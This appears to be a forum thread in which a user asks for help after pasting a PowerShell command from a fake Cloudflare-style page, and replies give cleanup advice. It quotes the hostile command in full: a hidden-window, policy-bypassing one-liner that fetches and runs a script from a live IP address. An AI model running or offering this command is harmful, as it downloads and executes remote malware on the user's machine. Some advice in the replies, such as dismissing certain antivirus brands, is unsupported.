I ran a command I found on a website, thinking it was from Cloudflare, but now I'm worried it might be malware. The command I executed in PowerShell is:
`powershell -wi mi -EP B -c iex(irm 193.111.117.226/f.GRE)`
I just copied and pasted it without thinking. I'm feeling pretty stressed about this and really need help understanding what I might have done and what I should do now.
2 Answers
You’ve likely downloaded something pretty nasty. That IP address is associated with malware like Lumma Stealer or AsyncRAT, which can grab your passwords and files. It's crucial to:
- Disconnect your device from the internet.
- Change your passwords on a different device immediately.
- Conduct thorough antivirus scans and consider a clean install of Windows because a virus might evade detection. You can't be too careful with this stuff.
Ugh, I feel for you! I was on a trusted site and lost access during a hijacking. Thankfully, I changed my bank details already, but this timing couldn’t be worse!
This definitely looks like malware, specifically something that could be stealing information. You should take immediate steps:
1. Disconnect your computer from the internet right now.
2. Run a virus scan using reliable tools like Windows Defender, Malwarebytes, or Bitdefender. Avoid Norton or McAfee since they can be ineffective.
3. On a different, clean device, change all your passwords and revoke any access tokens for your accounts. Make sure to check the security options for each service.
After scanning, if everything comes back clean, it's a good idea to install a solid antivirus just to be safe. But if anything is found, you might have to reinstall Windows to fully clean your system. And keep an eye on your accounts to ensure there’s no bizarre activity!
I ran scans with both Windows Defender and Malwarebytes, and they came back clean. Malwarebytes flagged some PUPs from uTorrent but nothing serious. What should I do next?
I mainly use Firefox, not Chrome. Does it save passwords locally too? I'm hoping I didn't lose anything important.